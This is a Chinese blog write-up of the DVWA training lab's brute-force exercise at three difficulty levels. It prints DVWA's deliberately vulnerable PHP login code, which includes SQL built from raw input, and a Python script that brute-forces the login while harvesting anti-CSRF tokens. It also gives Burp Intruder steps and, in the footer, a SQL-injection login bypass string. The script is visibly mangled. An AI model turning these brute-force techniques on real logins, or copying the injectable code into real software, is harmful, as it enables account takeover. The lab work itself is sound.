DVWA靶场之蛮力攻击三种等级解析

最新推荐文章于 2024-09-12 16:34:08 发布
最新推荐文章于 2024-09-12 16:34:08 发布
阅读量854 收藏 2
点赞数 1
分类专栏： ctf web 笔记 文章标签： web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46041723/article/details/108932916
版权

DVWA

前言

闲来无事，刷各大平台的题刷的有点头昏，就来换了个菜，这才发现我是真的菜！！！

DVWA简介

DVWA是一款渗透平台，类似于网络安全员的渗透小游戏
DVWA是一个Web应用程序，需要安装在Web服务器上，并需要MySQL数据库支持

DVWA搭建

这里用的是phpstudy集成环境
启动软件，打开MySQL和apache。在这里插入图片描述

准备工具

这里是在Windows环境下配置安装的DVWA。用了phpstudy集成环境

开始搭建

一、官网下载DVWA：http://www.dvwa.co.uk/
下载zip压缩包，解压到phpstudy的WWW的文件目录下。
二、然后找到文件config.inc.php.dist重命名为config.inc.php，然后打开编辑，找到图示位置，修改账号密码。
在这里插入图片描述
默认账号密码是root。
三、浏览器搜索打开http://127.0.0.1/DVWA/setup.php，进行DVWA的安装。
在这里插入图片描述
然后点击最下方的按钮。
四、跳转到登录界面。默认账号密码是admin、password。登录进去
安装配置成功

做题（一）漏洞 蛮力

打开页面只有一个登录框
在这里插入图片描述

low

然后就直接用原始的账号密码进行登录在这里插入图片描述
然后就出现了这个，目测估计是成功了，然后就开始找做题方法。
当时就直接想到了brupsuit抓包处理。
但是抓包爆破了好久没结果，整的毫无头绪的时候，就去查看了一下这道题low难度的源码，发现：
在这里插入图片描述

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

然后是get方式，我再去看brupsuit抓的是post方式，才知道，做错难度了。改正之后low难度的就直接抓包爆破成功得到admin、password。在这里插入图片描述

medium

这个难度加一的上来就直接先来一手查看源码，反手一个超级加倍

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( 2 );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

审计了源码之后发现，这个难度就是在上面那个low基础上增加了一个登录错误的情况下的时间停顿，增加了爆破的成本，但是还是可以直接爆破出来的。
在这里插入图片描述

sleep(2)//登录信息错误停顿两秒

所以直接就是还是刚刚的方法，字典都一样，就爆破出来了。
在这里插入图片描述
一样的结果。

high

上面的两个过于简单，给了我一点莫名的自信，于是在自信的驱使下来到了第三个high难度的。
老规矩，来波源码查看（毕竟要稳中求胜）。然后发现比起前两个多了一段源码。

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

然后就是checkToken 函数的意思就是说实现表单的重复提交，就是说用户的账号密码随机码按照一定的加密方式生成一个字符串用作token，然后每次用户登陆操作时就会和已保存的token进行对比，错误则返回false。
然后经过抓包实验发现，每次的user_token会在下一次的响应包里发送给浏览器。
第一次抓包
第二次抓包
源码如下：

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( rand( 0, 3 ) );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

发现源码中加入了两个函数：stripslashes(); mysql_real_escape_string();

stripslashes（去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个）、 mysql_real_escape_string对参数username、password进行过滤、转义，进一步抵御sql注入

顺便发现大佬说的无法csrf攻击，这我也不知道，所以就百度了一下什么是CSRF攻击

看了之后给我的理解说就是，用户在访问一个受信任的网站时生成了一个本地的cookie，然后在cookie未过期之前访问了另外一个危险网站，然后危险网站会发出一个request请求，同时安全的网站不知道这个操作是用户发出的还是攻击者发出的，就会进行处理，从而达到了模仿用户进行操作的目标。

然后上面抓包发现整个输入信息验证以及响应的过程总共就只有四个get型参数。username、password、login以及user_token。
然后这个题我就放弃了brupsuit抓包，因为我懒，听说脚本挺方便的。
但是，这，，，，这涉及到我的知识盲区了啊这个，得加紧练习脚本能力了。
所以这里就贴了一个大佬的脚本，自己单纯的去运行了一下。

from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.xxx.xxx', //目标主机（DVWA）的ip
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/"
 
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token
 
user_token = get_token(requrl,header)
i=0for line in open("rkolin.txt"):
requrl = "http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break

进行一些简单的修改之后就可以运行了。
然后我发现超菜的我连白拿脚本都不配，好吧好吧，还是转brupsuit爆破吧。
打开抓包，发送到爆破那里，设置三个参数，username、password和user_token，模式采用第三个。
然后打开options，线程设为1，在这里插入图片描述
在图示模块里点击add，在这里插入图片描述
在这里插入图片描述
最下面设置为always。
打开之后点击Refetch response ，找到value，记住选中value，图中部分。然后在设置字典界面添加字典。
在这里插入图片描述
然后token变量部分设置为图中所示，将刚刚复制的一串字符串value值粘过来。开始爆破。
在这里插入图片描述
得到结果，验证正确。
等以后脚本能力提升了，我再回来补回来脚本这一部分的解法。

墨子轩、
关注
专栏目录
DVWA靶场练习五—File Upload
afei001
05-24 258
低级（Low Level） 1.将等级设置为：Low 2.查看分析源码 <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uplo...
DVWA各个关卡源码分析
不想当脚本小子的脚本小子
12-19 2336
前一阵子做完DVWA靶场以后只是做了通关练习，现在将DVWA各个关卡的源码分析一下，有利于更好的理解漏洞的原理与攻防。我主要是分析一下源码，看看它为什么会有漏洞以及不同等级是如何防御的 SQL注入： 原理：SQL注入是指web应用程序对用户输入数据的合法行没有判断，前端传入后端的参数是可控的，并且参数带入数据库查询，攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。就是说前端的输入影响了后端的数据。 主要满足两个条件：1.参数用户可控。2.参数代入数据库查询 ...
【WEB安全】PHP靶场实战分析——DVWA
真哥的博客
12-20 4926
文章目录前言一、实战前的准备：1.dvwa靶场安装2.代码审计工具介绍2.1.seay代码审计工具的介绍2.2.rips 审计工具介绍二、DVWA通关讲解1. brute force 暴力破解low：Medium：High：impossible：2. Command Injection（命令行注入）low：Medium：High：3. CSRF（跨站请求伪造）low：Medium：High：4. File Inclusion（文件包含）low：Medium：High：impossible：5. File U
DVWA靶场全解析（新手向）
LS_Sy的博客
02-18 2411
我们直接在输入栏内随便填写数据，之后使用bp进行抓包抓到包后发送到instruder模块进行爆破，由于需要同时爆破用户名和密码两个字段，所以我们选择集束炸弹模式设置好字典后开始爆破，最后根据响应头的不同得到用户名和密码。
【渗透测试】——DVWA靶场搭建
最新发布
HinsCoder的博客
09-12 1474
DVWA是一个用于安全漏洞测试的 PHP/MySQL 网络应用，旨在为安全专业人士提供一个合法的环境，以测试他们的技能和工具，同时帮助 Web 开发者更好地理解 Web 应用的安全防护过程。
DVWA靶场分析笔记
RestoreJustice的博客
03-16 960
用户登录后，在服务器就会创建一个会话(session)，叫做会话控制，接着访问页面的时候就不用登录，只需要携带Sesion去访问，是用户的身份令牌。sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID，则攻击者将可以轻易获取访问限，无需录直接进入特定用户界面，进而进行其他操作。用户访问服务器的时候，在服务器端会创建一个新的会话(Session)，会话中会保存用户的状态和相关信息，用于标识用户。
DVWA 靶场 JavaScript 通关解析
Flag少侠的博客
06-22 7909
JavaScript 攻击是一类通过利用 JavaScript 代码执行漏洞或滥用其特性来进行的网络攻击。这些攻击可以用来窃取敏感信息、劫持用户会话、执行恶意操作等。一、跨站脚本攻击 (Cross-Site Scripting, XSS)1. 存储型 XSS（Stored XSS）攻击者将恶意 JavaScript 代码存储在目标网站的数据库中。当其他用户访问包含这些恶意代码的页面时，代码会在用户的浏览器中执行，从而窃取用户信息或执行其他恶意操作。2. 反射型 XSS（Reflected XSS）
dvwa靶场
charon145的博客
02-04 380
一.暴力破解 low： 分析源码 判断这两个值是否都不为空 先输一个错误的密码 ​ 构造admin' or '1'= '1 变成$ query = "SELECT * FROM ’users‘ WHERE user = ’admin' or '1'= '1’AND password = ' ';" 用or把语句截断为两部分，查询到账号即有效，语句判断为真，登陆成功 2.medium mysqli_real_escape_string： 不能使用单引号，low的绕过..
DVWA靶场搭建与使用
09-02
**DVWA靶场搭建与使用** DVWA（Damn Vulnerable Web Application）是一个开源的Web应用程序，专门为网络安全专业人员、开发人员和学生设计，用于学习和练习常见Web应用漏洞的识别和利用。它提供了多种安全漏洞的...
网络安全-靶机dvwa之XSS注入Low到High详解（含代码分析）_dvwa xss注入
2401_84300255的博客
04-27 811
正常可以看到是Get型。
DVWA 实验报告：5、文件上传 File Upload
看那白熊
05-16 1660
dvwa 文件上传漏洞复现
DVWA-master靶场
03-23
dvwa靶场运行在Windows或Linux环境下可以使用集成环境安装，比如phpstudy，然后将这个文件解压放到网站根目录下，配置一下配置文件中数据库连接密码，然后在浏览器访问本地web服务即可。
DVWA靶场，集成了owasp top 10漏洞
03-28
DVWA靶场，集成了owasp top 10漏洞，可以在这里面进行学习漏洞原理、利用和危害
DVWA之蛮力（Brute Force）
qq_39682037的博客
03-27 2234
蛮力（Brute Force） 前期准备 这里小编使用的是firefox，打开浏览器，我们在设置里面点开选项，单击网络设置进行配置，如下图
DVWA暴力破解实例（三个等级）
qq_43238111的博客
06-06 558
Low:未做任何过滤 ②利用burp抓包，获取数据包。 ②设置字典 ③测试器设置。 ④爆出用户名：admin;密码：password Medium:加入了referer验证；在已知用户名为admin情况下 ①加入了referer验证，改变referer的参数值 ②载入自己的字典 ③爆出用户名：admin; 密码：password High:加入token验证 ①抓取数据包请求，发现多了一个token作为验证 ②利用burp里自带得CSRF Token Tracer 捕获我们to
DVWA靶场
nidaxin的博客
01-29 2753
1.sql注入一般流程： 1)判断注入点：即判断是否存在sql注入，通常在参数后面加单引号，万能密码 2)判断查询的字段数 ：order by 数字（数字从小到大，看是否报错） 3)确定回显位 4)获取信息函数： user() 获取当前用户用户 database() 获取当前数据库 version() 获取数据库版本 5)获取数据库名：1’ union select version(),database()# 6)获取表名: 1‘union select 1,table_name fro
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值